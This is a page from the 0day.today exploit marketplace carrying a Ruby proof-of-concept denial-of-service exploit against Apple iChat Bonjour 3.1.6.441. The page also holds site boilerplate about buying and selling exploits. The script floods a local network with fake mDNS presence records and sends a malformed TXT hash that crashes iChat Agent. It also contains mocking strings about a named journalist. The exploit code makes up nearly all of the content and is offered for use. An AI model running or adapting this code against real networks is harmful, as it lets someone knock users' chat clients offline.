0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Apple iChat Bonjour 3.1.6.441 Multiple Denial of Service Exploit
================================================================ Apple iChat Bonjour 3.1.6.441 Multiple Denial of Service Exploit ================================================================ #!/usr/bin/ruby # (c) 2006 Lance M. Havok <lmh [at] info-pull.com> # All Rights Reserved. # basic proof of concept for MOAB-29-01-2007 # require 'digest/sha1' require 'rubygems' require 'net/dns/mdns-sd' bugselected = (ARGV[0] || "0").to_i TMP_ARR = [] DNSSD = Net::DNS::MDNSSD trap("INT") { puts "++ Exiting..." begin TMP_ARR.each do |o| o.stop end rescue end exit } # # This method abuses a design weakness in iChat Bonjour services, allowing an user # to conduct a denial of service attack against reachable clients by registering multiple # (fake) _presence records. # def oh_gnoes_contact_dos(status_msg = "ekoC stronS reztleS yrraL".reverse, firstname = 'Pwnies', lastname = 'Mgheetacek') available_status = [ "avail", "away" ] cur_status = available_status[rand(available_status.size)] # the TXT keys (see http://www.xmpp.org/extensions/xep-0174.html) keyset = { "status" => cur_status, # - presence availability of the user "msg" => status_msg, # - user's state "vc" => "CUAV!", # - user's ability for A/V conferencing "1st" => firstname, # - first name of the user "last" => lastname, # - last name of the user "txtvers" => "1", # - version of the TXT fields supported "phsh" => Digest::SHA1.hexdigest(rand(0xffffffff).to_s), # - fake SHA-1 hash of icon "port.p2pj" => "1337" # - Port for link-local communications # (ignored). } count = 0 while true rand_str = "3891ecniSrevoLyaGeipmaerCterceSkecatPreztleSyrraL".reverse (rand_str.length-1).downto(1) do |c| n = rand(c) + 1 rand_str[c], rand_str[n] = rand_str[n], rand_str[c] end puts "++ Registering presence #{count}" # TODO: add NULL record with user avatar icon (ex. Larry Seltzer's taliban bearded face) dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset) #sleep 40 TMP_ARR << dos_handle count += 1 end end # # This method causes iChat Agent to raise an exception (SIGTRAP signal) with a crafted TXT key hash. # Program received signal SIGTRAP, Trace/breakpoint trap. # 0x9262050b in _NSRaiseError () # def format_dos() keyset = { "status" => "avail", "msg" => "I'm the Doomed eWook", "vc" => "CUAV!", "1st" => "Larry", "last" => "Seltzer", "txtvers" => "1", "phsh" => ("\250" * 40), "port.p2pj" => "1337" } rand_str = "nabilaTAsAlufrewoPsIyrraL".reverse (rand_str.length-1).downto(1) do |c| n = rand(c) + 1 rand_str[c], rand_str[n] = rand_str[n], rand_str[c] end dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset) dos_handle.stop end # # Proof of concept method selection below. # puts "++ MOAB-29-01-2007: iChat Bonjour Fun" puts "++ Selected target: #{bugselected}" case bugselected when 0 format_dos() when 1 if (ARGV[1] and ARGV[2] and ARGV[3]) oh_gnoes_contact_dos(ARGV[1], ARGV[2], ARGV[3]) else oh_gnoes_contact_dos() end end # 0day.today [2024-11-15] #